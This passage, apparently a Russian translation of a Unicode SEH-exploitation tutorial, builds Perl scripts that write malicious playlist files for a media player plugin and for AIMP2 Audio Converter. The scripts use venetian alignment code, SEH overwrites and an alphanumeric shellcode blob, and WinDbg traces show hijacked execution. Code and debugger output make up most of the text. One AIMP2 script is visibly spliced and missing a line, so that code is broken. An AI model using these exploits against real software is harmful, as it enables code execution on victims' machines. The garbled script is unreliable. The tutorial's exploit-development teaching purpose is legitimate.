$preparestuff=$preparestuff."\x6e";  #nop/align
$preparestuff=$preparestuff."\x55";  #push ebp
$preparestuff=$preparestuff."\x6e";  #nop/align
$preparestuff=$preparestuff."\x58";  #pop eax
$preparestuff=$preparestuff."\x6e";  #pop/align
$preparestuff=$preparestuff."\x05\x14\x11";   #add eax,0x11001400
$preparestuff=$preparestuff."\x6e";  #pop/align
$preparestuff=$preparestuff."\x2d\x13\x11";   #sub eax,0x11001300
$preparestuff=$preparestuff."\x6e";  #pop/align

Как мы видели, нам нужен первый D, потому что этот байт используется как часть смещения в инструкции, которая выполняется на SE Handler.

После этой инструкции, мы подготавливаем eax, чтобы он указывал на 0x0012f3ac, и мы можем сделать прыжок в eax:

my $totalsize=5000;
my $junk = "A" x 254;
my $nseh="\x61\x62";  #popad + nop
my $seh="\x15\x45";   #put 00450015 in SE Handler

my $preparestuff="D";   #we need the first D
$preparestuff=$preparestuff."\x6e";  #nop/align
$preparestuff=$preparestuff."\x55";  #push ebp
$preparestuff=$preparestuff."\x6e";  #nop/align
$preparestuff=$preparestuff."\x58";  #pop eax
$preparestuff=$preparestuff."\x6e";  #pop/align
$preparestuff=$preparestuff."\x05\x14\x11";   #add eax,0x11001400
$preparestuff=$preparestuff."\x6e";  #pop/align
$preparestuff=$preparestuff."\x2d\x13\x11";   #sub eax,0x11001300
$preparestuff=$preparestuff."\x6e";  #pop/align

my $jump = "\x50";  #push eax
$jump=$jump."\x6d"; #nop/align
$jump=$jump."\xc3"; #ret

my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$jump));

$payload=$junk.$nseh.$seh.$preparestuff.$jump.$morestuff;

open(myfile,'>corelantest.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytes\n";

Результат:

Это исключение вполне ожидаемо и управляемо.
eax=00000044 ebx=02ee2c84 ecx=02dbc588 edx=00130000 esi=02ee2c68 edi=0012f298
eip=01aec2a6 esp=0012e84c ebp=0012f2b8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
DefaultPlaylist!XionPluginCreate+0x18776:
01aec2a6 668902          mov     word ptr [edx],ax        ds:0023:00130000=6341
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.

0:000> !exchain
0012f2ac:
image00400000+50015 (00450015)
Invalid exception stack at 00620061

0:000> bp 0012f2ac

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=7c9032a8 ecx=00450015 edx=7c9032bc esi=00000000 edi=00000000
eip=0012f2ac esp=0012e488 ebp=0012e564 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
<Unloaded_papi.dll>+0x12f2ab:
0012f2ac 61              popad
0:000> t
eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2ad esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
<Unloaded_papi.dll>+0x12f2ac:
0012f2ad 006200          add     byte ptr [edx],ah          ds:0023:0012e54c=b8
0:000>
eax=0012e564 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2b0 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei ng nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200283
<Unloaded_papi.dll>+0x12f2af:
0012f2b0 1500450044      adc     eax,offset <Unloaded_papi.dll>+0x440044ff (44004500)
0:000>
eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2b5 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12f2b4:
0012f2b5 006e00          add     byte ptr [esi],ch          ds:0023:0012e538=63
0:000>
eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2b8 esp=0012e4a8 ebp=0012f2ac iopl=0         ov up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a86
<Unloaded_papi.dll>+0x12f2b7:
0012f2b8 55              push    ebp
0:000>
eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2b9 esp=0012e4a4 ebp=0012f2ac iopl=0         ov up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a86
<Unloaded_papi.dll>+0x12f2b8:
0012f2b9 006e00          add     byte ptr [esi],ch          ds:0023:0012e538=95
0:000>
eax=44132a65 ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2bc esp=0012e4a4 ebp=0012f2ac iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
<Unloaded_papi.dll>+0x12f2bb:
0012f2bc 58              pop     eax
0:000>
eax=0012f2ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2bd esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
<Unloaded_papi.dll>+0x12f2bc:
0012f2bd 006e00          add     byte ptr [esi],ch          ds:0023:0012e538=c7
0:000>
eax=0012f2ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2c0 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
<Unloaded_papi.dll>+0x12f2bf:
0012f2c0 0500140011      add     eax,offset BASS+0x1400 (11001400)
0:000>
eax=111306ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2c5 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12f2c4:
0012f2c5 006e00          add     byte ptr [esi],ch          ds:0023:0012e538=f9
0:000>
eax=111306ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2c8 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200207
<Unloaded_papi.dll>+0x12f2c7:
0012f2c8 2d00130011      sub     eax,offset BASS+0x1300 (11001300)
0:000>
eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2cd esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12f2cc:
0012f2cd 006e00          add     byte ptr [esi],ch          ds:0023:0012e538=2b

0:000> d eax
0012f3ac  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3bc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3cc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3dc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3ec  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3fc  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f40c  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f41c  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

0:000> t
eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2d0 esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
<Unloaded_papi.dll>+0x12f2cf:
0012f2d0 50              push    eax
0:000> t
eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2d1 esp=0012e4a4 ebp=0012f2ac iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
<Unloaded_papi.dll>+0x12f2d0:
0012f2d1 006d00          add     byte ptr [ebp],ch          ss:0023:0012f2ac=61
0:000> t
eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f2d4 esp=0012e4a4 ebp=0012f2ac iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
<Unloaded_papi.dll>+0x12f2d3:
0012f2d4 c3              ret

0:000> t
eax=0012f3ac ebx=0012f2ac ecx=7c90327a edx=0012e54c esi=0012e538 edi=0012e580
eip=0012f3ac esp=0012e4a8 ebp=0012f2ac iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
<Unloaded_papi.dll>+0x12f3ab:
0012f3ac 44              inc     esp

Хорошо, это сработало.

Так что теперь нам нужно вставить наш шеллкод в нашу полезную нагрузку, убедившись, что она сидит также на 0012f3ac. Для того, чтобы сделать это, нам нужно смещение между последней командой в нашем венецианском jumpcode (c3 = ret) и 0012f3ac.

0:000> d 0012f2d4
0012f2d4  c3 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  ..D.D.D.D.D.D.D.
0012f2e4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f2f4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f304  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f314  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f324  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f334  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f344  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0:000> d
0012f354  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f364  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f374  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f384  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f394  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3a4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3b4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
0012f3c4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

0012f3ac - 0012f2d5 = 215 байт. Половина необходимого количества байт будет добавлена юникод преобразованием, так что нам нужно добавить 107 байт (которые будут автоматически расширены до 214 байт), затем вставить наш шеллкод, и затем вставить больше мусора (для запуска исключения того, что в конечном итоге приводит к запуску нашего кода)

my $totalsize=5000;
my $junk = "A" x 254;
my $nseh="\x61\x62";  #popad + nop
my $seh="\x15\x45";   #put 00450015 in SE Handler

my $preparestuff="D";   #we need the first D
$preparestuff=$preparestuff."\x6e";  #nop/align
$preparestuff=$preparestuff."\x55";  #push ebp
$preparestuff=$preparestuff."\x6e";  #nop/align
$preparestuff=$preparestuff."\x58";  #pop eax
$preparestuff=$preparestuff."\x6e";  #pop/align
$preparestuff=$preparestuff."\x05\x14\x11";   #add eax,0x11001400
$preparestuff=$preparestuff."\x6e";  #pop/align
$preparestuff=$preparestuff."\x2d\x13\x11";   #sub eax,0x11001300
$preparestuff=$preparestuff."\x6e";  #pop/align

my $jump = "\x50";  #push eax
$jump=$jump."\x6d"; #nop/align
$jump=$jump."\xc3"; #ret

my $morestuff="D" x 107;  #required to make sure shellcode = eax

my $shellcode="PPYAIAIAIAIAQATAXAZAPA3QADAZA".
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA".
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB".
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K".
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL".
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55".
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V".
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB".
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT".
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU".
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM".
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC".
"QQ2LRCM0LJA";

my $evenmorestuff="D" x 4100;  #just a guess

$payload=$junk.$nseh.$seh.$preparestuff.$jump.$morestuff.$shellcode.$evenmorestuff;

open(myfile,'>corelantest.m3u');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytes\n";

Результат:

Сработало!

Построение юникод эксплойта – пример 2

В нашем первом примере нам несколько повезло. Свободное пространство буфера позволило нам использовать 524 байта шеллкода, размещенные после перезаписи SEH записи. На самом деле, 524 байт маловато для юникод шеллкода…

Нам не может так везти каждый раз.

Во втором примере, я буду обсуждать первые шаги к созданию рабочих эксплойтов для AIMP2 Audio Converter 2.51 Build 330 (и ниже), как сообщает mr_me.

Вы можете скачать уязвимое приложение здесь. (Уязвимое приложение aimp2c.exe). При загрузке специального плейлист файла и нажатия кнопки “Играть”, приложение падает:

Poc код:

my $header = "[playlist]\nNumberOfEntries=1\n\n";
$header=$header."File1=";
my $junk="A" x 5000;
my $payload=$header.$junk."\n";

open(myfile,'>aimp2sploit.pls');
print myfile $payload;
print "Wrote " . length($payload)." bytes\n";
close(myfile);

Результат:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001c0020 ebx=00000000 ecx=00000277 edx=00000c48 esi=001d1a58 edi=00130000
eip=004530c6 esp=0012dca8 ebp=0012dd64 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi+0xe2:
004530c6 f366a5          rep movs word ptr es:[edi],word ptr [esi]
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.

0:000> !exchain
0012fda0: *** WARNING: Unable to verify checksum for image00400000
image00400000+10041 (00410041)
Invalid exception stack at 00410041

Используя метасплоит шаблон, я обнаружил, что в моей системе, смещение, чтобы попасть в SEH запись должно быть 4065 байта. После поиска юникод совместимого pop pop ret адресов, я решил использовать 0x0045000E (aimp2.dll).

Мы перезапишем следующий SEH с 0?41,0x6d (inc ecx + nop), и вставим 1000 B после перезаписи SEH записи:

my $header = "[playlist]\nNumberOfEntries=1\n\n";
$header=$header."File1=";
my $junk="A" x 4065;
my $nseh="\x41\x6d";   # inc ecx + add byte ptr [ebp],ch
my $seh="\x0e\x45";  #0045000E  aimp2.dll Universal ? =>  push cs +  add byte ptr [ebp],al
my $rest = "B" x 1000;
my $payload=$header.$junk.$nseh.$seh.$rest."\n";
open(myfile,'>aimp2sploit.pls');
print myfile $payload;
print "Wrote " . length($payload)." bytes\n";
close(myfile);

Результат:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001c0020 ebx=00000000 ecx=000002bc edx=00000c03 esi=001c7d88 edi=00130000
eip=004530c6 esp=0012dca8 ebp=0012dd64 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi+0xe2:
004530c6 f366a5          rep movs word ptr es:[edi],word ptr [esi]
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.

0:000> !exchain
0012fda0: AIMP2!SysutilsWideLowerCase$qqrx17SystemWideString+c2 (0045000e)
Invalid exception stack at 006d0041

0:000> bp 0012fda0
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=7c9032a8 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fda0 esp=0012d8e4 ebp=0012d9c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
<Unloaded_papi.dll>+0x12fd8f:
0012fda0 41              inc     ecx
0:000> t
eax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fda1 esp=0012d8e4 ebp=0012d9c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12fd90:
0012fda1 006d00          add     byte ptr [ebp],ch          ss:0023:0012d9c0=05
0:000> t
eax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fda4 esp=0012d8e4 ebp=0012d9c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
<Unloaded_papi.dll>+0x12fd93:
0012fda4 0e              push    cs
0:000> t
eax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fda5 esp=0012d8e0 ebp=0012d9c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
<Unloaded_papi.dll>+0x12fd94:
0012fda5 004500          add     byte ptr [ebp],al          ss:0023:0012d9c0=37
0:000> t
eax=00000000 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fda8 esp=0012d8e0 ebp=0012d9c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
<Unloaded_papi.dll>+0x12fd97:
0012fda8 42              inc     edx
0:000> d eip
0012fda8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdb8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdc8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdd8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fde8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdf8  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fe08  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fe18  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.

хорошо, пока все хорошо. Мы сделали прыжок. Сейчас мы попробуем поставить адрес в eax, который указывает на наш B.

Просмотрев регистры, мы не можем найти какой-нибудь регистр, который может действительно помочь нам. Но если мы посмотрим на то, что на стеке на данный момент (в esp), мы можем увидеть это:

0:000> d esp
0012d8e0  1b 00 12 00 dc d9 12 00-94 d9 12 00 a0 fd 12 00  ................
0012d8f0  bc 32 90 7c a0 fd 12 00-a8 d9 12 00 7a 32 90 7c  .2.|........z2.|
0012d900  c0 d9 12 00 a0 fd 12 00-dc d9 12 00 94 d9 12 00  ................
0012d910  0e 00 45 00 00 00 13 00-c0 d9 12 00 a0 fd 12 00  ..E.............
0012d920  0f aa 92 7c c0 d9 12 00-a0 fd 12 00 dc d9 12 00  ...|............
0012d930  94 d9 12 00 0e 00 45 00-00 00 13 00 c0 d9 12 00  ......E.........
0012d940  88 7d 1c 00 90 2d 1b 00-47 00 00 00 00 00 15 00  .}...-..G.......
0012d950  37 00 00 00 8c 20 00 00-e8 73 19 00 00 00 00 00  7.... ...s......
0:000> d 0012001b
0012001b  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0012002b  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0012003b  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0012004b  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0012005b  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0012006b  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0012007b  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0012008b  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> d 0012d9dc
0012d9dc  3f 00 01 00 00 00 00 00-00 00 00 00 00 00 00 00  ?...............
0012d9ec  00 00 00 00 00 00 00 00-00 00 00 00 72 12 ff ff  ............r...
0012d9fc  00 30 ff ff ff ff ff ff-20 53 84 74 1b 00 5b 05  .0...... S.t..[.
0012da0c  28 ad 38 00 23 00 ff ff-00 00 00 00 00 00 00 00  (.8.#...........
0012da1c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0012da2c  00 00 00 00 00 00 48 53-6b bc 80 ff 12 00 00 d0  ......HSk.......
0012da3c  2c 00 00 00 90 24 4e 80-00 00 00 40 00 dc 00 c2  ,....$N....@....
0012da4c  00 da 35 40 86 74 b8 e6-e0 d8 de d2 3d 40 00 00  ..5@.t......=@..
0:000> d 0012d994
0012d994  ff ff ff ff 00 00 00 00-00 00 13 00 00 10 12 00  ................
0012d9a4  08 06 15 00 64 dd 12 00-8a e4 90 7c 00 00 00 00  ....d......|....
0012d9b4  dc d9 12 00 c0 d9 12 00-dc d9 12 00 37 00 00 c0  ............7...
0012d9c4  00 00 00 00 00 00 00 00-c6 30 45 00 02 00 00 00  .........0E.....
0012d9d4  01 00 00 00 00 00 13 00-3f 00 01 00 00 00 00 00  ........?.......
0012d9e4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0012d9f4  00 00 00 00 72 12 ff ff-00 30 ff ff ff ff ff ff  ....r....0......
0012da04  20 53 84 74 1b 00 5b 05-28 ad 38 00 23 00 ff ff   S.t..[.(.8.#...
0:000> d 0012fda0
0012fda0  41 00 6d 00 0e 00 45 00-42 00 42 00 42 00 42 00  A.m...E.B.B.B.B.
0012fdb0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdc0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdd0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fde0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fdf0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fe00  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fe10  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.

4-й адрес приблизит нас к нашему B. Итак, что нам нужно сделать, это положить 4-й адрес в eax, и увеличить его немного, так он указывает на то место, где мы можем вставить наш шеллкод.

Получение 4-й адрес так просто, как делают 4 pop в ряд. Так что, если вы могли бы сделать pop eax, pop eax, pop eax, pop eax, то последний " pop eax " возьмет 4-й адрес с esp. В венецианском шеллкоде, это будет:

my $align = "\x58"; #pop  eax
$align=$align."\x6d";
$align=$align."\x58";  #pop eax
$align=$align."\x6d";
$align=$align."\x58";  #pop eax
$align=$align."\x6d";
$align=$align."\x58";  #pop eax
$align=$align."\x6d";

Мы увеличим eax совсем немного. Наименьшее количество, которое мы можем легко добавить это 100, что можно сделать, используя следующий код:

#now increase the address in eax so it would point to our buffer
$align = $align."\x05\x02\x11";   #add eax,11000200
$align=$align."\x6d";   #align/nop
$align=$align."\x2d\x01\x11";   #sub eax,11000100
$align=$align."\x6d";   #align/nop

Наконец, нам нужно будет перепрыгнуть в eax:

my $jump = "\x50";  #push eax
$jump=$jump."\x6d"; #nop/align
$jump=$jump."\xc3"; #ret

После прыжка, мы положим B. Давайте посмотрим, можем ли мы перейти к B:

my $header = "[playlist]\nNumberOfEntries=1\n\n";
$header=$header."File1=";
my $junk="A" x 4065;
my $seh="\x41\x6d";   # inc ecx + add byte ptr [ebp],ch
my $nseh="\x0e\x45";  #0045000E  aimp2.dll

";  #pop eax
$align=$align."\x6d";
$align=$align."\x58";  #pop eax
$align=$align."\x6d";
$align=$align."\x58";  #pop eax
$align=$align."\x6d";

#now increase the address in eax so it would point to our buffer
$align = $align."\x05\x02\x11";   #add eax,11000200
$align=$align."\x6d";   #align/nop
$align=$align."\x2d\x01\x11";   #sub eax,11000100
$align=$align."\x6d";   #align/nop

#jump to eax now
my $jump = "\x50";  #push eax
$jump=$jump."\x6d"; #nop/align
$jump=$jump."\xc3"; #ret

#put in 1000 Bs
my $rest="B" x 1000;
my $payload=$header.$junk.$seh.$nseh.$align.$jump.$rest."\n";

open(myfile,'>aimp2sploit.pls');
print myfile $payload;
print "Wrote " . length($payload)." bytes\n";
close(myfile);

Результат:

eax=0012fda0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fdb8 esp=0012d8f0 ebp=0012d9c0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
<Unloaded_papi.dll>+0x12fda7:
0012fdb8 0500020011      add     eax,offset bass+0x200 (11000200)
0:000>
eax=1112ffa0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fdbd esp=0012d8f0 ebp=0012d9c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12fdac:
0012fdbd 006d00          add     byte ptr [ebp],ch          ss:0023:0012d9c0=ff
0:000>
eax=1112ffa0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fdc0 esp=0012d8f0 ebp=0012d9c0 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200213
<Unloaded_papi.dll>+0x12fdaf:
0012fdc0 2d00010011      sub     eax,offset bass+0x100 (11000100)
0:000>
eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fdc5 esp=0012d8f0 ebp=0012d9c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12fdb4:
0012fdc5 006d00          add     byte ptr [ebp],ch          ss:0023:0012d9c0=31
0:000> d eax
0012fea0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012feb0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fec0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fed0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fee0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012fef0  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012ff00  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0012ff10  42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00  B.B.B.B.B.B.B.B.
0:000> t
eax=0012fea0 ebx=00000000 ecx=7c9032a9 edx=7c9032bc esi=00000000 edi=00000000
eip=0012fdc8 esp=0012d8f0 ebp=0012d9c0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
<Unloaded_papi.dll>+0x12fdb7:
0012fdc8 50              push    eax
0:000> t
